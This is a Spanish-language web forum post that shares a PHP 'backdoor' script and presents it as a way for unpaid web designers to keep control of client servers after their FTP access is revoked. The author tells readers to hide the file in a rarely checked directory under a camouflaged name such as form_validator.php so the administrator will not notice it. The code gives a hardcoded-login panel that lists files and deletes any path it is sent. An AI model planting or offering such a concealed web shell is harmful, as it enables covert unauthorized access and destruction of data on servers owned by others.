Tema: Aporte: Script para controlar tu sitio sin ftp
Ver Mensaje Individual
  #1 (permalink)  
Antiguo 14/11/2012, 09:49
Avatar de NSD
NSD
Colaborador
  
Fecha de Ingreso: mayo-2012
Ubicación: Somewhere
Mensajes: 1.332
Antigüedad: 12 años, 7 meses
Puntos: 320
Aporte: Script para controlar tu sitio sin ftp
Buenas gente del foro, me han consultado recientemente sobre un caso particular, que pasa si, por ejemplo, le diseñamos la estetica a una web la subimos por ftp para que la usen los desarrolladores que nos contratan y estos no nos pagan, es mas, eliminan nuestra cuenta ftp.

Nos estarian estafando, claro esta. y que podemos hacer? como borrar nuestros archivos del server si no tenemos acceso al ftp? las herramientas de hacking son casi inutiles ante los ultimos protocolos de seguridad de los server y ademas no apoyo esta alternativa.

El scrip que aporto a continuacion es un backdoor.
Como veran en el codigo no es un virus, ni un hack, ni nada de eso, por lo que no creo estar rompiendo ninguna norma del foro al publicarlo, (ademas de que es escrito por mi)

Este script debe ser subido al server a una carpeta donde dificilmente sea rastreado, por ejemplo:

Public-Html/Sistema/Archivos/Postales/Formularios/Plugins/Validadores/Worpress/Articles/......

es decir a una carpeta que el administrador no valla a mirar con frecuencia, preferiblemente que tenga muchos archivos php, y le ponemos un nombre tipo form_validator.php u otro que se camufle entre los ya existentes.

de esta manera si no recibimos lo que pedimos a cambio por nuestro trabajo podremos eliminar del server nuestros archivos sin ser notados por el admin (o por lo menos esa es la idea).

tambien puede usarse este script para montar un panel de control (originalmente eso era con algunas funciones que quite porque para esto es innesesario)

Codigo:

Código PHP: 
Ver original
  1. <?php
  2. Error_Reporting(0);
  3. Session_Start();
  4. //Configuracion:
  5. $DAT[USR] = 'Admin'; //Usuario
  6. $DAT[CLV] = 'Admin'; //Clave
  7. $DAT[TRO] = 'Backdoor.php'; //Nombre de este archivo
  8. $DAT[RUT] = './'; //Ruta relativa al archivo del directorio padre que sequiere controlar
  9.  
  10.  
  11. //Desloguearse.
  12. If ($_GET['EXT']=='1') {
  13.     Unset($_SESSION['Clave']);
  14.     Session_Destroy();
  15. }
  16.  
  17. //Cabeza de la pagina.
  18. Echo <<<HTML
  19.             <Html>
  20.                 <Head>
  21.                     <Meta Charset="Utf-8" />
  22.                     <Title>Panel de Control</Title>
  23.                     <Style>
  24.                         body{ 
  25.                             background-image:-webkit-linear-gradient(top,#F9F9F9,#E9E9E9);
  26.                         }
  27.                         #Contenido , #Botonera , #Log {
  28.                             width:900px;
  29.                             border:3px double #666;
  30.                             padding:10px;
  31.                             color:#222;
  32.                             font-family:arial;
  33.                             font-size:12px;
  34.                             font-variant:small-caps;
  35.                             font-weight:bold;
  36.                             margin:10px auto;
  37.                             box-shadow:rgba(0,0,0,0.498039) 0 1px 3px,rgba(255,255,255,0.701961) 0 0 1px inset;
  38.                             background-image:-webkit-gradient(linear,0 0%,0 100%,from(#0E4168),color-stop(0.1,#236BA3),color-stop(0.5,#236BA3),color-stop(0.9,#236BA3),to(#0E4168));
  39.                             min-height:40px;
  40.                             border-radius:5px;
  41.                             text-align:center;
  42.                         }
  43.                         form td , form table {
  44.                             border:1px solid #666;
  45.                             padding:10px;
  46.                             color:#222;
  47.                             font-family:arial;
  48.                             font-size:15px;
  49.                             font-variant:small-caps;
  50.                             font-weight:bold;
  51.                             margin:10px auto;
  52.                             box-shadow:rgba(0,0,0,0.498039) 0 1px 3px,rgba(255,255,255,0.701961) 0 0 1px inset;
  53.                             background-image:-webkit-linear-gradient(top,#FEFEFE,#EDEDED);
  54.                             border-radius:3px
  55.                         }
  56.                         form table{
  57.                             width:875px;
  58.                             margin:5px auto;
  59.                             border-radius:6px
  60.                         }
  61.                         th {
  62.                             border:1px solid #666;
  63.                             padding:10px;
  64.                             color:#EEE;
  65.                             font-family:arial;
  66.                             font-size:20px;
  67.                             font-variant:small-caps;
  68.                             font-weight:bold;
  69.                             margin:10px auto;
  70.                             box-shadow:rgba(0,0,0,0.498039) 0 1px 3px,rgba(255,255,255,0.701961) 0 0 1px inset;
  71.                             background-image:-webkit-linear-gradient(top,#555,#111);
  72.                             border-radius:3px;
  73.                             Text-Align:Center;
  74.                         }
  75.                         .Directorio{
  76.                             background-image:-webkit-linear-gradient(top,#CCC,#AAA);
  77.                             Text-Align:Center;
  78.                         }
  79.                         input[type=button] , input[type=submit] , .Button { 
  80.                             background-image:-webkit-gradient(linear,0 0%,0 100%,from(#FFF),color-stop(0.25,#EBEBEB),color-stop(0.5,#DBDBDB),to(#B5B5B5));
  81.                             border:1px solid #949494;
  82.                             border-bottom-left-radius:3px;
  83.                             border-bottom-right-radius:3px;
  84.                             border-top-left-radius:3px;
  85.                             border-top-right-radius:3px;
  86.                             box-shadow:rgba(0,0,0,0.498039) 0 1px 3px,#FFF 0 0 2px inset;
  87.                             color:#333;
  88.                             font-family:Arial;
  89.                             font-size:14px;
  90.                             font-weight:bold;
  91.                             margin:5px;
  92.                             padding:5px 20px;
  93.                             text-shadow:rgba(0,0,0,0.2) 0 -1px 0px,#FFF 0 1px 0;
  94.                             font-variant:small-caps;
  95.                         }
  96.                         input[type=button]:hover , input[type=submit]:hover , .button:hover { 
  97.                             box-shadow:#000 0 0 10px;
  98.                             color:#000;
  99.                             cursor:pointer;
  100.                             font-weight:bold
  101.                         }
  102.                         input[type=button]:active , input[type=submit]:active , .button:active{ 
  103.                             box-shadow:#EFEFEF 0 0 10px
  104.                         }
  105.                         #Error{
  106.                             background-image:-webkit-gradient(linear,0 0%,0 100%,from(#EA5347),to(#D66124));
  107.                             border:1px solid #959595;
  108.                             border-bottom-left-radius:3px;
  109.                             border-bottom-right-radius:3px;
  110.                             border-top-left-radius:3px;
  111.                             border-top-right-radius:3px;
  112.                             box-shadow:#000 0 0 8px;
  113.                             color:#222;
  114.                             font-size:14px;
  115.                             font-variant:small-caps;
  116.                             margin:30px auto;
  117.                             min-height:50px;
  118.                             padding:25px 0 0 0;
  119.                             text-align:center;
  120.                             text-shadow:#959595 0 1px 0;
  121.                             width:300px;
  122.                         }
  123.                     </Style>
  124.                 </Head>
  125.                 <Body>
  126. HTML;
  127.  
  128. //Verificar autenticidad.
  129. If ($_SESSION[Clave] != '4Quydp6aqqUbQDv2') {
  130.     //Verificar usuario y clave.
  131.     If( ($_POST[USR] != $DAT[USR]) Or ($_POST[CLV] != $DAT[CLV]) ){
  132.         //Formulario de logueo.
  133.         Echo <<<HTML
  134.             <Div Id="Botonera">
  135.                 <Div Id="Error">Error. Debes ser usuario autorizado.</Div>
  136.             </Div>
  137.             <Div Id="Contenido">
  138.                 <Form Id="Formulario" Action="$DAT[TRO]" Method="post">
  139.                     <Table>
  140.                         <Tr>
  141.                             <Td> Usuario: </Td> <Td> <Input Type="Text" Name="USR" Id="USR" Size="30" /> </Td>
  142.                         </Tr
  143.                         <Tr>
  144.                             <Td> Clave: </Td> <Td> <Input Type="Password" Name="CLV" Id="CLV" Size="30" /> </Td>
  145.                         </Tr>
  146.                         <Tr>
  147.                             <Td Colspan="2"> <Input Type="Submit" Value="Entrar!" Style="Float:Right"/> </Td>
  148.                         </Tr>
  149.                     </Table>
  150.                 </Form>
  151.             </Div>
  152. HTML;
  153.     } Else {
  154.         //Logueo correcto, habilitar acceso.
  155.         $_SESSION[Clave] = '4Quydp6aqqUbQDv2';
  156.         //Si tu server lo permite puedes reemplazar este echo por un: Header("Location: $DAT[TRO]");
  157.         Echo <<<HTML
  158.                     <Div Id="Botonera">
  159.                         <A Href="$DAT[TRO]" Class="Button">Acceder!</A>
  160.                     </Div>
  161. HTML;
  162.     }
  163. } Else {
  164.     //Estas habilitado.
  165.     Echo <<<HTML
  166.             <Form Id="Formulario" Action="$DAT[TRO]" Method="post">
  167.                 <Div Id="Botonera">
  168.                     <Input Type="Submit" Value="Eliminar Seleccionados" Style="Float:Left" />
  169.                     <A Href="$DAT[TRO]?EXT=1" Class="Button" Style="Float:Right" >Cerrar & Salir.</A>
  170.                 </Div>
  171.                 <Div Id="Log">
  172. HTML;
  173.     //Si tengo que eliminar elimino.
  174.     If (Isset($_POST[Datos])) {
  175.         ForEach ($_POST[Datos] As $ARCH) {
  176.             If (!Unlink($ARCH)) {
  177.                 Echo ("Error borrando: $ARCH<Br />");
  178.             } Else {
  179.                 Echo ("Archivo borrado: $ARCH<Br />");
  180.             }
  181.         }
  182.     }
  183.     Echo <<<HTML
  184.                 </Div>
  185.                 <Div Id="Contenido">
  186.                         <Table>
  187.                             <Tr>
  188.                                 <Th> Selec. </Th> <Th> Ruta </Th> <Th> Archivo </Th>
  189.                             </Tr>
  190. HTML;
  191.     //Funcion recursiva que los muestra.
  192.     Function ListarArchivos($RUT){
  193.         $I=0;
  194.         If (Is_Dir($RUT)) {
  195.             If ($DIR = Opendir($RUT)) {
  196.                 While (($ARCH = ReadDir($DIR)) != False) {
  197.                     If ( (Is_Dir($RUT.$ARCH)) And ($ARCH != ".") And ($ARCH != "..") ){
  198.                         Echo '<Tr><Td Colspan="4" Class="Directorio" >'.$ARCH.'</Td>';
  199.                         ListarArchivos($RUT.$ARCH.'/');
  200.                     }
  201.                     If ( (!Is_Dir($RUT.$ARCH)) And ($ARCH != ".") And ($ARCH != "..") ){
  202.                         Echo '<Tr><Td><Input Type="Checkbox" Name="Datos[]" Value="'.$RUT.$ARCH.'"/></Td><Td>'.$RUT.'</Td><Td>'.$ARCH.'</Td>';
  203.                     }
  204.                 }
  205.                 Closedir($DIR);
  206.             }
  207.         }Else {
  208.             Echo "<Br />No es ruta valida";
  209.         }
  210.     }
  211.     //Muestro archivos a partir de esta ruta.
  212.     ListarArchivos($DAT[RUT]);
  213.     Echo <<<HTML
  214.                     </Table>
  215.                 </Div>
  216. HTML;
  217.  
  218.     Echo <<<HTML
  219.             </Form>
  220. HTML;
  221. }
  222. //Fin de la pagina.
  223. Echo <<<HTML
  224.                 </Body>
  225.             </Html>
  226. HTML;
  227. ?>

para que ande hay que asegurarse que despues de HTML; no halla espacios ni nada.

espero le sea util a alguien, y si no les sirve como medida de seguridad de su trabajo, tal vez le sirva para montar un panel de control propio o algo asi.

saludos
__________________
Maratón de desafíos PHP Junio - Agosto 2015 en FDW | Reglamento - Desafios
Última edición por NSD; 01/09/2014 a las 12:52